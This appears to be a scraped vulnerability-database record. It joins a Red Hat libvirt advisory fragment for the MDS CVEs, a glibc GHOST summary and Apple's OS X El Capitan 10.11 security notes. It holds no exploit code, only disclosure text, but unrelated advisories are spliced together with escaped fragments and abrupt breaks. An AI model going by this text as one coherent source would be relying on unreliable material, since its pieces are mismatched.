6):\n\ni386:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nppc64:\nlibvirt-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-client-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.ppc.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.ppc64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.ppc64.rpm\n\ns390x:\nlibvirt-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-client-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-client-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.s390.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.s390x.rpm\nlibvirt-python-0.10.2-64.el6_10.1.s390x.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 6):\n\nx86_64:\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-12126\nhttps://access.redhat.com/security/cve/CVE-2018-12127\nhttps://access.redhat.com/security/cve/CVE-2018-12130\nhttps://access.redhat.com/security/cve/CVE-2019-11091\nhttps://access.redhat.com/security/vulnerabilities/mds\nhttps://access.redhat.com/security/updates/classification/#important\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXNsJuNzjgjWX9erEAQhuig/7B0ZCV6Np07w9O5y2hyX9OYuOPTWWOuuj\naR8ndZOC8FCgp630HSEB/Hi17XzCDCYRQusAKcfnSrDIPLJNbr2I0b3RxvXNiKu/\ncfksAhrA6XtdcW4LXSSRvIQGNrBSFGiv1QCYie+ER8JzRCe8+0/K0soMOubg5ZUz\n78TQeK87McXoGPAqlNrDW3h1EGpq6SJDSPJg3Q598L1di4s0HUHthV9HcjXYUlqV\nG2xP1mkq4P6iOmUEqQ45Kq6ntPhFPjaiR/vMz9Tj6B6Kmpb9/IxVpQ84dTideOG9\nad3O1ZPGHchITcKntYZ9IePeIhYoUFeNKccJ9J0h1JvQ7utWmS9j6zBgWmOaReb0\nRbhFggIlHQ9Oxxv/jcEz9eU4n+VzGF+Dzv0lhnFNfE5HTer4YFRI+Fm58SkVb1hO\n3+hIj1sMrIMm86MmCfB/MnmQeSCy8WJRyjUDkbMTAqN6xOAyDfW0h4DKw0YtS6ml\nWeubwvnad9ltJslFUh4XCvKNJmNtC3b1YVehE9LpTRcBwpHr26OBs3iDFvHIU5jh\nmi971Lw8++SZzaYaBEN2+Eop2Dhk2IdMKsFk75OQLdRY94FIZ3hvteOY32tKQBn8\n+Xb+dfrSuoEnzSWULGH5LUxOYKik1SnpHphaCX+SBB3aClvCVOoxig7urLIM89Sq\n71dvSxshwr0=\n=CE4I\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. 7) - noarch, x86_64\n\n3. Description:\n\nThe kernel-rt packages provide the Real Time Linux Kernel, which enables\nfine-tuning for systems with extremely high determinism requirements. These packages include redhat-release-virtualization-host,\novirt-node, and rhev-hypervisor. RHVH features a Cockpit user\ninterface for monitoring the host\u0027s resources and performing administrative\ntasks. These\npackages include redhat-release-virtualization-host, ovirt-node, and\nrhev-hypervisor. RHVH features a Cockpit user interface for\nmonitoring the host\u0027s resources and performing administrative tasks",
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"date": "2019-05-15T15:06:16",
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VAR-201501-0737
Vulnerability from variot - Updated: 2026-03-09 21:40Heap-based buffer overflow in the __nss_hostname_digits_dots function in glibc 2.2, and other 2.x versions before 2.18, allows context-dependent attackers to execute arbitrary code via vectors related to the (1) gethostbyname or (2) gethostbyname2 function, aka "GHOST.". This vulnerability has been assigned CVE-2015-0235, and is referred to in the media by the name "GHOST". eglibc The package contains a classic buffer overflow vulnerability.Denial of service (DoS) May be in a state. GNU glibc is prone to a heap-based buffer-overflow vulnerability. An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts may crash the application, denying service to legitimate users. CVE-ID CVE-2015-7023 : Marvin Scholz; Xiaofeng Zheng and Jinjin Liang of Tsinghua University, Jian Jiang of University of California, Berkeley, Haixin Duan of Tsinghua University and International Computer Science Institute, Shuo Chen of Microsoft Research Redmond, Tao Wan of Huawei Canada, Nicholas Weaver of International Computer Science Institute and University of California, Berkeley, coordinated via CERT/CC
configd Available for: OS X El Capitan 10.11 Impact: A malicious application may be able to elevate privileges Description: A heap based buffer overflow issue existed in the DNS client library. A malicious application with the ability to spoof responses from the local configd service may have been able to cause arbitrary code execution in DNS clients. CVE-ID CVE-2015-6994 : Mark Mentovai of Google Inc. A developer-signed app could bypass restrictions on use of restricted entitlements and elevate privileges. These issues were addressed by using patches affecting OS X from upstream. This was addressed by disabling synthetic clicks for keychain access windows. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2015-09-30-3 OS X El Capitan 10.11
OS X El Capitan 10.11 is now available and addresses the following:
Address Book Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to inject arbitrary code to processes loading the Address Book framework Description: An issue existed in Address Book framework's handling of an environment variable. This issue was addressed through improved environment variable handling. CVE-ID CVE-2015-5897 : Dan Bastone of Gotham Digital Science
AirScan Available for: Mac OS X v10.6.8 and later Impact: An attacker with a privileged network position may be able to extract payload from eSCL packets sent over a secure connection Description: An issue existed in the processing of eSCL packets. This issue was addressed through improved validation checks. CVE-ID CVE-2015-5853 : an anonymous researcher
apache_mod_php Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in PHP Description: Multiple vulnerabilities existed in PHP versions prior to 5.5.27, including one which may have led to remote code execution. This issue was addressed by updating PHP to version 5.5.27. CVE-ID CVE-2014-9425 CVE-2014-9427 CVE-2014-9652 CVE-2014-9705 CVE-2014-9709 CVE-2015-0231 CVE-2015-0232 CVE-2015-0235 CVE-2015-0273 CVE-2015-1351 CVE-2015-1352 CVE-2015-2301 CVE-2015-2305 CVE-2015-2331 CVE-2015-2348 CVE-2015-2783 CVE-2015-2787 CVE-2015-3329 CVE-2015-3330
Apple Online Store Kit Available for: Mac OS X v10.6.8 and later Impact: A malicious application may gain access to a user's keychain items Description: An issue existed in validation of access control lists for iCloud keychain items. This issue was addressed through improved access control list checks. CVE-ID CVE-2015-5836 : XiaoFeng Wang of Indiana University, Luyi Xing of Indiana University, Tongxin Li of Peking University, Tongxin Li of Peking University, Xiaolong Bai of Tsinghua University
AppleEvents Available for: Mac OS X v10.6.8 and later Impact: A user connected through screen sharing can send Apple Events to a local user's session Description: An issue existed with Apple Event filtering that allowed some users to send events to other users. This was addressed by improved Apple Event handling. CVE-ID CVE-2015-5849 : Jack Lawrence (@_jackhl)
Audio Available for: Mac OS X v10.6.8 and later Impact: Playing a malicious audio file may lead to an unexpected application termination Description: A memory corruption issue existed in the handling of audio files. This issue issue was addressed through improved memory handling. CVE-ID CVE-2015-5862 : YoungJin Yoon of Information Security Lab. (Adv.: Prof. Taekyoung Kwon), Yonsei University, Seoul, Korea
bash Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in bash Description: Multiple vulnerabilities existed in bash versions prior to 3.2 patch level 57. These issues were addressed by updating bash version 3.2 to patch level 57. CVE-ID CVE-2014-6277 CVE-2014-7186 CVE-2014-7187
Certificate Trust Policy Available for: Mac OS X v10.6.8 and later Impact: Update to the certificate trust policy Description: The certificate trust policy was updated. The complete list of certificates may be viewed at https://support.apple.com/en- us/HT202858.
CFNetwork Cookies Available for: Mac OS X v10.6.8 and later Impact: An attacker in a privileged network position can track a user's activity Description: A cross-domain cookie issue existed in the handling of top level domains. The issue was address through improved restrictions of cookie creation. CVE-ID CVE-2015-5885 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University
CFNetwork FTPProtocol Available for: Mac OS X v10.6.8 and later Impact: Malicious FTP servers may be able to cause the client to perform reconnaissance on other hosts Description: An issue existed in the handling of FTP packets when using the PASV command. This issue was resolved through improved validation. CVE-ID CVE-2015-5912 : Amit Klein
CFNetwork HTTPProtocol Available for: Mac OS X v10.6.8 and later Impact: A maliciously crafted URL may be able to bypass HSTS and leak sensitive data Description: A URL parsing vulnerability existed in HSTS handling. This issue was addressed through improved URL parsing. CVE-ID CVE-2015-5858 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University
CFNetwork HTTPProtocol Available for: Mac OS X v10.6.8 and later Impact: A malicious website may be able to track users in Safari private browsing mode Description: An issue existed in the handling of HSTS state in Safari private browsing mode. This issue was addressed through improved state handling. CVE-ID CVE-2015-5860 : Sam Greenhalgh of RadicalResearch Ltd
CFNetwork Proxies Available for: Mac OS X v10.6.8 and later Impact: Connecting to a malicious web proxy may set malicious cookies for a website Description: An issue existed in the handling of proxy connect responses. This issue was addressed by removing the set-cookie header while parsing the connect response. CVE-ID CVE-2015-5841 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University
CFNetwork SSL Available for: Mac OS X v10.6.8 and later Impact: An attacker with a privileged network position may intercept SSL/TLS connections Description: A certificate validation issue existed in NSURL when a certificate changed. This issue was addressed through improved certificate validation. CVE-ID CVE-2015-5824 : Timothy J. Wood of The Omni Group
CFNetwork SSL Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to decrypt data protected by SSL Description: There are known attacks on the confidentiality of RC4. An attacker could force the use of RC4, even if the server preferred better ciphers, by blocking TLS 1.0 and higher connections until CFNetwork tried SSL 3.0, which only allows RC4. This issue was addressed by removing the fallback to SSL 3.0.
CoreCrypto Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to determine a private key Description: By observing many signing or decryption attempts, an attacker may have been able to determine the RSA private key. This issue was addressed using improved encryption algorithms.
CoreText Available for: Mac OS X v10.6.8 and later Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2015-5874 : John Villamil (@day6reak), Yahoo Pentest Team
Dev Tools Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling. CVE-ID CVE-2015-5876 : beist of grayhash
Dev Tools Available for: Mac OS X v10.6.8 and later Impact: An application may be able to bypass code signing Description: An issue existed with validation of the code signature of executables. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5839 : @PanguTeam
Disk Images Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with system privileges Description: A memory corruption issue existed in DiskImages. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5847 : Filippo Bigarella, Luca Todesco
dyld Available for: Mac OS X v10.6.8 and later Impact: An application may be able to bypass code signing Description: An issue existed with validation of the code signature of executables. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5839 : TaiG Jailbreak Team
EFI Available for: Mac OS X v10.6.8 and later Impact: A malicious application can prevent some systems from booting Description: An issue existed with the addresses covered by the protected range register. This issue was fixed by changing the protected range. CVE-ID CVE-2015-5900 : Xeno Kovah & Corey Kallenberg from LegbaCore
EFI Available for: Mac OS X v10.6.8 and later Impact: A malicious Apple Ethernet Thunderbolt adapter may be able to affect firmware flashing Description: Apple Ethernet Thunderbolt adapters could modify the host firmware if connected during an EFI update. This issue was addressed by not loading option ROMs during updates. CVE-ID CVE-2015-5914 : Trammell Hudson of Two Sigma Investments and snare
Finder Available for: Mac OS X v10.6.8 and later Impact: The "Secure Empty Trash" feature may not securely delete files placed in the Trash Description: An issue existed in guaranteeing secure deletion of Trash files on some systems, such as those with flash storage. This issue was addressed by removing the "Secure Empty Trash" option. CVE-ID CVE-2015-5901 : Apple
Game Center Available for: Mac OS X v10.6.8 and later Impact: A malicious Game Center application may be able to access a player's email address Description: An issue existed in Game Center in the handling of a player's email. This issue was addressed through improved access restrictions. CVE-ID CVE-2015-5855 : Nasser Alnasser
Heimdal Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to replay Kerberos credentials to the SMB server Description: An authentication issue existed in Kerberos credentials. This issue was addressed through additional validation of credentials using a list of recently seen credentials. CVE-ID CVE-2015-5913 : Tarun Chopra of Microsoft Corporation, U.S. and Yu Fan of Microsoft Corporation, China
ICU Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in ICU Description: Multiple vulnerabilities existed in ICU versions prior to 53.1.0. These issues were addressed by updating ICU to version 55.1. CVE-ID CVE-2014-8146 CVE-2014-8147 CVE-2015-5922
Install Framework Legacy Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to gain root privileges Description: A restriction issue existed in the Install private framework containing a privileged executable. This issue was addressed by removing the executable. CVE-ID CVE-2015-5888 : Apple
Intel Graphics Driver Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with system privileges Description: Multiple memory corruption issues existed in the Intel Graphics Driver. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5830 : Yuki MIZUNO (@mzyy94) CVE-2015-5877 : Camillus Gerard Cai
IOAudioFamily Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in IOAudioFamily that led to the disclosure of kernel memory content. This issue was addressed by permuting kernel pointers. CVE-ID CVE-2015-5864 : Luca Todesco
IOGraphics Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues existed in the kernel. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5871 : Ilja van Sprundel of IOActive CVE-2015-5872 : Ilja van Sprundel of IOActive CVE-2015-5873 : Ilja van Sprundel of IOActive CVE-2015-5890 : Ilja van Sprundel of IOActive
IOGraphics Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to determine kernel memory layout Description: An issue existed in IOGraphics which could have led to the disclosure of kernel memory layout. This issue was addressed through improved memory management. CVE-ID CVE-2015-5865 : Luca Todesco
IOHIDFamily Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: Multiple memory corruption issues existed in IOHIDFamily. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5866 : Apple CVE-2015-5867 : moony li of Trend Micro
IOStorageFamily Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to read kernel memory Description: A memory initialization issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5863 : Ilja van Sprundel of IOActive
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues existed in the Kernel. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5868 : Cererdlong of Alibaba Mobile Security Team CVE-2015-5896 : Maxime Villard of m00nbsd CVE-2015-5903 : CESG
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local process can modify other processes without entitlement checks Description: An issue existed where root processes using the processor_set_tasks API were allowed to retrieve the task ports of other processes. This issue was addressed through additional entitlement checks. CVE-ID CVE-2015-5882 : Pedro Vilaca, working from original research by Ming-chieh Pan and Sung-ting Tsai; Jonathan Levin
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local attacker may control the value of stack cookies Description: Multiple weaknesses existed in the generation of user space stack cookies. These issues were addressed through improved generation of stack cookies. CVE-ID CVE-2013-3951 : Stefan Esser
Kernel Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to launch denial of service attacks on targeted TCP connections without knowing the correct sequence number Description: An issue existed in xnu's validation of TCP packet headers. This issue was addressed through improved TCP packet header validation. CVE-ID CVE-2015-5879 : Jonathan Looney
Kernel Available for: Mac OS X v10.6.8 and later Impact: An attacker in a local LAN segment may disable IPv6 routing Description: An insufficient validation issue existed in the handling of IPv6 router advertisements that allowed an attacker to set the hop limit to an arbitrary value. This issue was addressed by enforcing a minimum hop limit. CVE-ID CVE-2015-5869 : Dennis Spindel Ljungmark
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed that led to the disclosure of kernel memory layout. This was addressed through improved initialization of kernel memory structures. CVE-ID CVE-2015-5842 : beist of grayhash
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in debugging interfaces that led to the disclosure of memory content. This issue was addressed by sanitizing output from debugging interfaces. CVE-ID CVE-2015-5870 : Apple
Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to cause a system denial of service Description: A state management issue existed in debugging functionality. This issue was addressed through improved validation. CVE-ID CVE-2015-5902 : Sergi Alvarez (pancake) of NowSecure Research Team
libc Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2014-8611 : Adrian Chadd and Alfred Perlstein of Norse Corporation
libpthread Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5899 : Lufeng Li of Qihoo 360 Vulcan Team
libxpc Available for: Mac OS X v10.6.8 and later Impact: Many SSH connections could cause a denial of service Description: launchd had no limit on the number of processes that could be started by a network connection. This issue was addressed by limiting the number of SSH processes to 40. CVE-ID CVE-2015-5881 : Apple
Login Window Available for: Mac OS X v10.6.8 and later Impact: The screen lock may not engage after the specified time period Description: An issue existed with captured display locking. The issue was addressed through improved lock handling. CVE-ID CVE-2015-5833 : Carlos Moreira, Rainer Dorau of rainer dorau informationsdesign, Chris Nehren, Kai Takac, Hans Douma, Toni Vaahtera, and an anonymous researcher
lukemftpd Available for: Mac OS X v10.6.8 and later Impact: A remote attacker may be able to deny service to the FTP server Description: A glob-processing issue existed in tnftpd. This issue was addressed through improved glob validation. CVE-ID CVE-2015-5917 : Maksymilian Arciemowicz of cxsecurity.com
Mail Available for: Mac OS X v10.6.8 and later Impact: Printing an email may leak sensitive user information Description: An issue existed in Mail which bypassed user preferences when printing an email. This issue was addressed through improved user preference enforcement. CVE-ID CVE-2015-5881 : Owen DeLong of Akamai Technologies, Noritaka Kamiya, Dennis Klein from Eschenburg, Germany, Jeff Hammett of Systim Technology Partners
Mail Available for: Mac OS X v10.6.8 and later Impact: An attacker in a privileged network position may be able to intercept attachments of S/MIME-encrypted e-mail sent via Mail Drop Description: An issue existed in handling encryption parameters for large email attachments sent via Mail Drop. The issue is addressed by no longer offering Mail Drop when sending an encrypted e-mail. CVE-ID CVE-2015-5884 : John McCombs of Integrated Mapping Ltd
Multipeer Connectivity Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to observe unprotected multipeer data Description: An issue existed in convenience initializer handling in which encryption could be actively downgraded to a non-encrypted session. This issue was addressed by changing the convenience initializer to require encryption. CVE-ID CVE-2015-5851 : Alban Diquet (@nabla_c0d3) of Data Theorem
NetworkExtension Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to determine kernel memory layout Description: An uninitialized memory issue in the kernel led to the disclosure of kernel memory content. This issue was addressed through improved memory initialization. CVE-ID CVE-2015-5831 : Maxime Villard of m00nbsd
Notes Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to leak sensitive user information Description: An issue existed in parsing links in the Notes application. This issue was addressed through improved input validation. CVE-ID CVE-2015-5878 : Craig Young of Tripwire VERT, an anonymous researcher
Notes Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to leak sensitive user information Description: A cross-site scripting issue existed in parsing text by the Notes application. This issue was addressed through improved input validation. CVE-ID CVE-2015-5875 : xisigr of Tencent's Xuanwu LAB (www.tencent.com)
OpenSSH Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in OpenSSH Description: Multiple vulnerabilities existed in OpenSSH versions prior to 6.9. These issues were addressed by updating OpenSSH to version 6.9. CVE-ID CVE-2014-2532
OpenSSL Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in OpenSSL Description: Multiple vulnerabilities existed in OpenSSL versions prior to 0.9.8zg. These were addressed by updating OpenSSL to version 0.9.8zg. CVE-ID CVE-2015-0286 CVE-2015-0287
procmail Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in procmail Description: Multiple vulnerabilities existed in procmail versions prior to 3.22. These issues were addressed by removing procmail. CVE-ID CVE-2014-3618
remote_cmds Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with root privileges Description: An issue existed in the usage of environment variables by the rsh binary. This issue was addressed by dropping setuid privileges from the rsh binary. CVE-ID CVE-2015-5889 : Philip Pettersson
removefile Available for: Mac OS X v10.6.8 and later Impact: Processing malicious data may lead to unexpected application termination Description: An overflow fault existed in the checkint division routines. This issue was addressed with improved division routines. CVE-ID CVE-2015-5840 : an anonymous researcher
Ruby Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in Ruby Description: Multiple vulnerabilities existed in Ruby versions prior to 2.0.0p645. These were addressed by updating Ruby to version 2.0.0p645. CVE-ID CVE-2014-8080 CVE-2014-8090 CVE-2015-1855
Security Available for: Mac OS X v10.6.8 and later Impact: The lock state of the keychain may be incorrectly displayed to the user Description: A state management issue existed in the way keychain lock status was tracked. This issue was addressed through improved state management. CVE-ID CVE-2015-5915 : Peter Walz of University of Minnesota, David Ephron, Eric E. Lawrence, Apple
Security Available for: Mac OS X v10.6.8 and later Impact: A trust evaluation configured to require revocation checking may succeed even if revocation checking fails Description: The kSecRevocationRequirePositiveResponse flag was specified but not implemented. This issue was addressed by implementing the flag. CVE-ID CVE-2015-5894 : Hannes Oud of kWallet GmbH
Security Available for: Mac OS X v10.6.8 and later Impact: A remote server may prompt for a certificate before identifying itself Description: Secure Transport accepted the CertificateRequest message before the ServerKeyExchange message. This issue was addressed by requiring the ServerKeyExchange first. CVE-ID CVE-2015-5887 : Benjamin Beurdouche, Karthikeyan Bhargavan, Antoine Delignat-Lavaud, Alfredo Pironti, and Jean Karim Zinzindohoue of INRIA Paris-Rocquencourt, and Cedric Fournet and Markulf Kohlweiss of Microsoft Research, Pierre-Yves Strub of IMDEA Software Institute
SMB Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5891 : Ilja van Sprundel of IOActive
SMB Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in SMBClient that led to the disclosure of kernel memory content. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5893 : Ilja van Sprundel of IOActive
SQLite Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in SQLite v3.8.5 Description: Multiple vulnerabilities existed in SQLite v3.8.5. These issues were addressed by updating SQLite to version 3.8.10.2. CVE-ID CVE-2015-3414 CVE-2015-3415 CVE-2015-3416
Telephony Available for: Mac OS X v10.6.8 and later Impact: A local attacker can place phone calls without the user's knowledge when using Continuity Description: An issue existed in the authorization checks for placing phone calls. This issue was addressed through improved authorization checks. CVE-ID CVE-2015-3785 : Dan Bastone of Gotham Digital Science
Terminal Available for: Mac OS X v10.6.8 and later Impact: Maliciously crafted text could mislead the user in Terminal Description: Terminal did not handle bidirectional override characters in the same way when displaying text and when selecting text. This issue was addressed by suppressing bidirectional override characters in Terminal. CVE-ID CVE-2015-5883 : an anonymous researcher
tidy Available for: Mac OS X v10.6.8 and later Impact: Visiting a maliciously crafted website may lead to arbitrary code execution Description: Multiple memory corruption issues existed in tidy. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5522 : Fernando Munoz of NULLGroup.com CVE-2015-5523 : Fernando Munoz of NULLGroup.com
Time Machine Available for: Mac OS X v10.6.8 and later Impact: A local attacker may gain access to keychain items Description: An issue existed in backups by the Time Machine framework. This issue was addressed through improved coverage of Time Machine backups. CVE-ID CVE-2015-5854 : Jonas Magazinius of Assured AB
Note: OS X El Capitan 10.11 includes the security content of Safari 9: https://support.apple.com/kb/HT205265.
OS X El Capitan 10.11 may be obtained from the Mac App Store: http://www.apple.com/support/downloads/
Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org
